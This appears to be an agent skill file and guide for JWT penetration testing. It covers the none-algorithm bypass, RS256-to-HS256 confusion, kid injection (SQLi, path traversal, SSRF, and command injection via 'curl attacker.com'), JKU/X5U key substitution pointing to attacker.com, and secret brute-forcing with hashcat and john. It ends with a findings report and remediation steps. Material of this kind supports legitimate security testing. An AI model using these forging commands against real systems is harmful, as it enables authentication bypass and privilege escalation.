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Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.
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SKILL.md 표시 중
| name | testing-for-json-web-token-vulnerabilities |
| description | Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["jwt","json-web-token","algorithm-confusion","authentication-bypass","token-forgery","kid-injection","jku-attack"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
/api/admin/*) with the forged token and verifying you receive the restricted resource, not a generic page or 401/403.none, None, NONE, nOnE, with empty signature.kid, and pointing jku/x5u to your server.Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>
# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a
# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret
# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json
# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s
# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json
# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name
# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
-I -pc role -pv admin -pc sub -pv "admin@target.com"
| Concept | Description |
|---|---|
| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |
| None Algorithm | Setting alg to "none" to create unsigned tokens accepted by misconfigured servers |
| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |
| JKU/X5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |
| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |
| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |
| Token Replay | Reusing valid JWTs after the intended session should have expired |
| Tool | Purpose |
|---|---|
| jwt_tool | Comprehensive JWT testing and exploitation toolkit |
| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |
| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |
| john the ripper | CPU-based JWT secret cracking |
| jwt.io | Online JWT decoder and debugger for inspection |
| PyJWT | Python library for programmatic JWT creation and verification |
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json
### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |
### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation